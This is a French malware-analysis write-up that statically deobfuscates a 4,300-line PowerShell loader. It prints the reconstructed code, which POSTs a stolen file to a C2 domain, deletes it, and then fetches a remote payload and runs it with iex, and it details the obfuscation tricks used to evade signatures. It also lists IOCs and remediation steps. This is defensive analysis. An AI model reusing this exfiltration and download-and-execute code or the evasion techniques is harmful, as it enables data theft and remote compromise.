Type - loader / infostealer PowerShell Format - script .ps1 obfusqué, ~4 300 lignes, 89 fonctions Verdict - exfiltration d’un fichier volé vers un C2, puis téléchargement et exécution en mémoire d’un payload distant (iex)

TL;DR

4 300 lignes qui, au premier regard, ressemblent à un mur de fonctions inutiles et de calculs sans queue ni tête. À l’arrivée, 99 % du script est du bruit : des fonctions bidon et des prédicats toujours vrais. En retirant ce bruit méthodiquement, il reste une trentaine de lignes utiles :

  1. il cherche un fichier précédemment déposé dans C:\ProgramData\Improvementation\ ;
  2. s’il le trouve, il l’exfiltre en POST vers un C2, puis le supprime ;
  3. il retélécharge un payload depuis ce même C2 et l’exécute en mémoire via iex.

Ce write-up documente la démarche pour passer du mur de bruit à ces 30 lignes, pas seulement le résultat.

Contexte

Une amie à moi, qui bosse dans une ESN, connaissait mon attrait pour PowerShell et pour le reverse. Elle m’a contacté : elle avait trouvé un fichier bizarre sur un poste utilisateur après un téléchargement, avec un comportement anormal de la machine dans la foulée.

L’échantillon m’arrive sous la forme d’un unique .ps1. Objectif : comprendre ce que fabrique ce truc de 4 300 lignes illisibles, déposé « par magie » sur le poste de quelqu’un.

Toute l’analyse est statique. Je n’ai jamais exécuté le script, sur ce type de menace, l’exécution est justement le piège, puisqu’il télécharge et lance du code arbitraire depuis Internet. Une analyse dynamique se ferait dans une VM isolée, réseau coupé, avec le C2 défangé. Elle n’a pas été nécessaire ici : la logique se reconstruit entièrement à la lecture.

Premier contact : le triage

Première étape, qui ne mange jamais de pain : VirusTotal. Score de 0. Rien détecté, ni antivirus ni EDR. Je n’en tire rien, à part une pointe de curiosité.

Avant de plonger, je me fais une idée du terrain avec quelques commandes.

wc -l sample.ps1                 # ~4300 lignes
grep -c '^function ' sample.ps1  # 89 fonctions
grep -c '1 -eq 1'  sample.ps1    # 61 blocs "if (1 -eq 1)"
grep -c '\[char\]' sample.ps1    # 18 constructions de chaînes par code ASCII

Trois signaux ressortent :

  • 89 fonctions, pour un script dont la charge utile réelle ne devrait en demander qu’une poignée. Ça sent le code mort en volume.
  • 61 if (1 -eq 1) : des prédicats opaques, autrement dit des conditions dont le résultat est connu d’avance et qui ne servent qu’à noyer le lecteur.
  • Des [char] et des -join : les chaînes sensibles ne sont pas écrites en clair, elles sont reconstruites à l’exécution. Un antivirus qui cherche Invoke-RestMethod ne la trouvera jamais telle quelle.

Verdict du triage : ni packing ni chiffrement, juste de l’obfuscation par dilution. Bonne nouvelle, ça se démonte à la main.

Anatomie de l’obfuscation

Quatre techniques, par ordre croissant d’intérêt.

Les prédicats opaques

if ((1 -eq 1)) {
  $R3YaCSYw4LCi = 1..61
  $TqZnBjCauS5U = $R3YaCSYw4LCi | Where-Object { ($_ % 2) -eq 0 } | ForEach-Object { $_ * 2 }
  ...
} else {
  $VIhWXawIVi9xhs = 687
}

La condition est toujours vraie, donc la branche else est morte. Le contenu de la branche if calcule des sommes de nombres pairs qui ne sont jamais réutilisées. Du bruit, et il y en a 61 comme ça.

L’arithmétique qui s’annule

$S4FwrcqZsBVt = $S4FwrcqZsBVt + 4914
$S4FwrcqZsBVt = $S4FwrcqZsBVt - 4914     # +4914 puis -4914 → no-op
$S4FwrcqZsBVt = $S4FwrcqZsBVt * 19
$S4FwrcqZsBVt = [int]($S4FwrcqZsBVt / 19) # *19 puis /19 → no-op
$S4FwrcqZsBVt = $S4FwrcqZsBVt -bxor 4914
$S4FwrcqZsBVt = $S4FwrcqZsBVt -bxor 4914  # xor deux fois par la même clé → no-op

Trois opérations réversibles appliquées puis immédiatement inversées. La valeur ne change jamais. Ça donne l’illusion d’un traitement complexe alors qu’il ne se passe rien.

Les fonctions mortes

function oQOl1I4Wc {
  param($FQTdH4vy6)
  $R3hng2MQa1Yi = 0
  ...
  [void][int]::TryParse($aKbzaktb, [ref]$R3hng2MQa1Yi)
  $R3hng2MQa1Yi = $R3hng2MQa1Yi + 669
  $R3hng2MQa1Yi = $R3hng2MQa1Yi - 684    # décalage net de -15, jamais exploité
  return $R3hng2MQa1Yi
}

Des dizaines de fonctions au nom aléatoire qui « font » quelque chose, parser un entier, mesurer une longueur de chaîne, remplacer des voyelles par des *, mais dont le retour n’influence jamais le flux réel. Elles sont là pour gonfler le compteur et décourager la lecture.

La construction de chaînes par code ASCII

Seule technique qui cache réellement quelque chose d’utile. Chaque caractère est un calcul arithmétique de son code ASCII, réassemblé via [string]::Concat([char[]]@(...)).

Exemple, ligne 309 :

$JSPqWywxCzV = [string]::Concat([char[]]@(
  (1*88),(1*100),(852/12),(2373/21),(1*109),(1*112),(1*107),(812/7),(135-55),(38+44),
  (2*53),(101-23),(486/6),(1*85),(2125/25),(115-12),(74+8),(135-63),(13+96),(10+60),
  (42+32),(21+54),(170-96),(164-96),(141-26),(83/1),(1*78),(1890/21),(130-20),(117-11)
))

Chaque parenthèse est un code ASCII déguisé :

ExpressionValeurCharExpressionValeurChar
1*8888X74+882R
1*100100d135-6372H
852/1271G13+96109m
2373/21113q10+6070F
1*109109m42+3274J
1*112112p21+5475K
1*107107k170-9674J
812/7116t164-9668D
135-5580P141-26115s

En déroulant tout : XdGqmpktPRjNQUUgRHmFJKJDsSNZnj. Première chaîne utile démasquée.

Méthodologie de déobfuscation

L’ordre dans lequel je m’y suis pris. Idée directrice : retirer le bruit avant de comprendre le signal. On ne cherche pas à tout comprendre d’un coup, on nettoie couche par couche.

Mise en forme. Le script est reformaté, indentation, sauts de ligne cohérents. Rien de sémantique, mais c’est indispensable avant de raisonner sur du code.

Marquer et ignorer les prédicats opaques. Sur tout bloc if ((1 -eq 1)) { ... } else { ... }, je garde le contenu du if et je supprime le else. Puis je vérifie si le contenu du if est réutilisé plus loin, en cherchant les variables assignées. Ici il ne l’était jamais, donc le bloc entier saute.

Neutraliser l’arithmétique réversible. Repérer les paires +x … -x, *x … /x, -bxor x … -bxor x. À chaque fois la variable revient à sa valeur d’entrée, donc on remplace tout le bloc par sa valeur initiale et on poursuit.

Isoler les fonctions mortes. Pour chaque fonction, je regarde si son retour est réellement consommé par le flux principal : est-ce que la variable qui reçoit & maFonction(...) sert ensuite à une décision, une URL, un chemin ? Sinon, je la barre. Sur les 89 fonctions, la quasi-totalité tombe à ce test.

Décoder les chaînes automatiquement. Décoder 8 blocs [char[]]@(...) à la main serait fastidieux et source d’erreurs. Comme les expressions sont de l’arithmétique pure, j’écris un décodeur qui extrait chaque bloc et évalue les codes ASCII. C’est un outil d’analyse, jamais exécuté dans le contexte du malware.

def decode_char_arrays(source: str):
    """Extrait et décode chaque [char[]]@( ... )"""
    results, i, key = [], 0, "[char[]]@("
    while (p := source.find(key, i)) != -1:
        # parse à parenthèses équilibrées
        j = p + len(key); depth, k = 1, j
        while k < len(source) and depth:
            depth += (source[k] == "(") - (source[k] == ")")
            k += 1
        body = source[j:k-1]
        # découpe sur les virgules de premier niveau
        items, d, cur = [], 0, ""
        for ch in body:
            if ch == "(": d += 1; cur += ch
            elif ch == ")": d -= 1; cur += ch
            elif ch == "," and d == 0: items.append(cur); cur = ""
            else: cur += ch
        if cur.strip(): items.append(cur)
        try:
            # eval sur arithmétique pure uniquement
            s = "".join(chr(round(eval(x))) for x in items)
            results.append(s)
        except Exception:
            pass
        i = k
    return results

Sortie sur l’échantillon :

XdGqmpktPRjNQUUgRHmFJKJDsSNZnj
SpGztpvZVqxccfh
https://ieservice.cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/XdGqmpktPRjNQUUgRHmFJKJDsSNZnj.html?SpGztpvZVqxccfh=
C:\ProgramData\Improvementation
INVoKe-rEStMethod

Toute la charge utile cachée du script tient dans ces cinq chaînes. Détail que j’aime bien : INVoKe-rEStMethod est construit avec une casse alternée volontaire. PowerShell étant insensible à la casse, la commande fonctionne quand même, mais une signature qui chercherait Invoke-RestMethod à l’exact la manquerait. Même logique pour la reconstruction de iex.

Reconstituer le flux. Une fois le bruit retiré et les chaînes résolues, je réinjecte les valeurs à la place des variables obfusquées et je relis le squelette qui reste. Les appels indirects du type :

. $v0q6PZ60S8JOPjKe3tj9 $gNQ4jL9ZY14 -Me PO -B $upTEpP06DUobVQ6

se relisent alors comme :

Invoke-RestMethod $urlExfiltration -Method POST -Body $corpsPOST

À ce stade, le comportement se lit presque à voix haute.

Le malware déobfusqué

La logique reconstruite, ramenée à l’essentiel :

# --- Constantes (décodées depuis les [char[]]) ---
$nomFichierCible  = "XdGqmpktPRjNQUUgRHmFJKJDsSNZnj"
$nomParametrePOST = "SpGztpvZVqxccfh"
$dossierStaging   = "C:\ProgramData\Improvementation"
$urlC2            = "hxxps://ieservice[.]cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/$nomFichierCible.html?$nomParametrePOST="
$cheminLocal      = Join-Path $dossierStaging $nomFichierCible

# 1. Exfiltration du fichier déjà déposé, si présent
if ((Test-Path $dossierStaging) -and (Test-Path $cheminLocal)) {
    $contenu = Get-Content -LiteralPath $cheminLocal -Raw -Encoding UTF8
    $rnd     = Get-Random -Minimum 48302 -Maximum 845921
    $urlExfil = $urlC2 + $nomFichierCible + "&rnd=" + $rnd
    $body    = @{ $nomParametrePOST = $contenu }
    $rep     = Invoke-RestMethod $urlExfil -Method POST -Body $body

    # 2. Si le C2 confirme la réception → suppression (anti-forensics)
    if ($rep -like "*$nomFichierCible*") { Remove-Item $cheminLocal }
}

# 3. Téléchargement + exécution en mémoire du payload de 2e étage
$rnd2       = Get-Random -Minimum 48302 -Maximum 845921
$urlPayload = $urlC2 + $nomFichierCible + "&rnd=" + $rnd2
$payload    = Invoke-RestMethod $urlPayload
iex($payload)   # exécution de code arbitraire fourni par l'attaquant

Quatre choses à noter.

C’est un stage intermédiaire, pas le stealer complet. Il présuppose qu’un composant antérieur a déjà déposé un fichier de collecte dans le dossier de staging ; ce loader se contente de le remonter puis d’aller chercher la suite.

Le même endpoint sert de dropbox d’exfiltration et de distributeur de payload, différencié uniquement par la méthode HTTP (POST pour envoyer, GET pour recevoir) et par le paramètre rnd anti-cache.

La suppression conditionnée à l’accusé de réception est un choix élégant, à sa façon : le malware ne détruit la preuve qu’une fois certain qu’elle est arrivée à destination.

Enfin, iex sur du contenu réseau est le vrai danger. Le comportement final n’est pas dans ce fichier ; il est décidé côté serveur, à la volée.

Chaîne d’attaque

ÉtapeComportement observé
StagingLecture d’un fichier de collecte dans C:\ProgramData\Improvementation\
ExfiltrationPOST du contenu vers le C2 sur HTTPS
C2HTTP(S) vers ieservice[.]cc, paramètre anti-cache
Anti-forensicsSuppression du fichier après confirmation
Exécutioniex d’un payload distant en mémoire
DéfenseObfuscation, chaînes construites à l’exécution, casse mélangée

Indicateurs de compromission (défangés)

TypeValeur
Domaine C2ieservice[.]cc
URLhxxps://ieservice[.]cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/XdGqmpktPRjNQUUgRHmFJKJDsSNZnj.html
Paramètre POSTSpGztpvZVqxccfh
Dossier de stagingC:\ProgramData\Improvementation\
Nom de fichier voléXdGqmpktPRjNQUUgRHmFJKJDsSNZnj
Plage rnd48302845921

Remédiation

  • Constrained Language Mode + AppLocker/WDAC : casse la capacité à iex du code arbitraire.
  • Restreindre les connexions sortantes des interpréteurs de script. PowerShell ne devrait pas parler librement à Internet sur un poste standard.
  • Bloquer le domaine et l’URL au niveau proxy/DNS.
  • Sur une machine touchée : isoler, collecter les Event 4104, et chercher le composant de première étape qui a rempli le dossier de staging. Ce loader n’est pas le point d’entrée.

Ce que ça m’a appris

Ce sample est un bon cas d’école parce qu’il surjoue la complexité. 4 300 lignes, 89 fonctions, des maths partout, et au bout du compte 30 lignes de logique triviale. La leçon, pour moi, c’est que le volume est une défense en soi : le script ne cache presque rien, il fatigue.

Limites. Le payload de second étage n’a pas pu être récupéré, le C2 était injoignable et hors périmètre, donc le comportement final reste indéterminé. La suite logique serait une analyse dynamique en sandbox isolée, avec un faux C2 renvoyant un payload contrôlé.

Annexe. Outils utilisés

  • Lecture et triage : grep, wc, un éditeur avec coloration PowerShell (ça aide vraiment).
  • Décodage des chaînes : script Python maison (voir plus haut).
  • Aucune exécution du sample. Analyse 100 % statique.

→ La suite : OSINT : Du C2 à l’hébergeur